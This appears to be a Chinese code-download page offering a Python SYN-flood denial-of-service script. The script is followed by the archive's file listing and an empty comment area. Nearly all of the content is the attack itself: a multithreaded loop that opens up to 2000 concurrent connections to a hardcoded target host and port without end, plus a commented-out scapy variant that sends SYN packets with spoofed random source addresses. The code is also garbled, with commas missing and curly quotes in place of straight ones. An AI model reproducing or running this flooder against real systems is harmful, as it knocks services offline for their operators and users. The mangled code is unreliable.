资源简介
DoS攻击Python源码,syn flood.
代码片段和文件信息
# coding:utf-8
__author__ = ‘lufee_2‘
#
# SYNflood.py - A multithreaded SYN Flooder
# By Brandon Smith
# brandon.smith@studiobebop.net
#
# This script is a demonstration of a SYN/ACK 3 Way Handshake Attack
# as discussed by Halla of Information Leak
#
#########################################
import socket
import random
import sys
import threading
#import scapy # Uncomment this if you‘re planning to use Scapy
###
# Global Config
###
interface = None
target = None
port = None
thread_limit = 2000
total = 0
# End Global Config
class sendSYN(threading.Thread):
global target port
def __init__(self):
threading.Thread.__init__(self)
def run(self):
# There are two different ways you can go about pulling this off.
# You can either:
# - 1. Just open a socket to your target on any old port
# - 2. Or you can be a cool kid and use scapy to make it look cool and overcomplicated!
#
# (Uncomment whichever method you‘d like to use)
# Method 1 -
s = socket.socket()
s.connect((targetport))
print (‘succs‘s)
# Methods 2 -
# i = scapy.IP()
# i.src = “%i.%i.%i.%i“ % (random.randint(1254)random.randint(1254)random.randint(1254)random.randint(1254))
# i.dst = target
# t = scapy.TCP()
# t.sport = random.randint(165535)
# t.dport = port
# t.flags = ‘S‘
# scapy.send(i/t verbose=0)
if __name__ == “__main__“:
# Make sure we have all the arguments we need
‘‘‘
if len(sys.argv) != 4:
print “Usage: %s “ % sys.argv[0]
exit()
‘‘‘
# Prepare our variables
interface = None
target = ‘192.168.1.105‘
port = int(‘80‘)
# scapy.conf.iface = interface # Uncomment this if you‘re going to use Scapy
# Hop to it!
print (“Flooding %s:%i with SYN packets.“ % (target port))
while True:
if threading.activeCount() < thread_limit:
print (‘threading.activeCount = %i total = %i‘ % (threading.activeCount()total))
sendSYN().start()
total += 1
sys.stdout.write(“\rTotal packets sent:\t\t\t%i “ % total)
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
....... 284 2015-10-30 01:11 dosAttack-synflood\dosAttack-master\.idea\dosAttack.iml
....... 687 2015-10-30 01:11 dosAttack-synflood\dosAttack-master\.idea\misc.xm
....... 270 2015-10-30 01:11 dosAttack-synflood\dosAttack-master\.idea\modules.xm
....... 164 2015-10-30 01:11 dosAttack-synflood\dosAttack-master\.idea\vcs.xm
....... 1600 2015-10-30 01:11 dosAttack-synflood\dosAttack-master\.idea\workspace.xm
....... 12 2015-10-30 01:11 dosAttack-synflood\dosAttack-master\README.md
文件 2210 2015-12-26 15:50 dosAttack-synflood\dosAttack-master\synflood.py
目录 0 2015-10-30 01:11 dosAttack-synflood\dosAttack-master\.idea
目录 0 2015-10-30 01:11 dosAttack-synflood\dosAttack-master
目录 0 2015-12-25 21:53 dosAttack-synflood
----------- --------- ---------- ----- ----
5227 10
评论
共有 条评论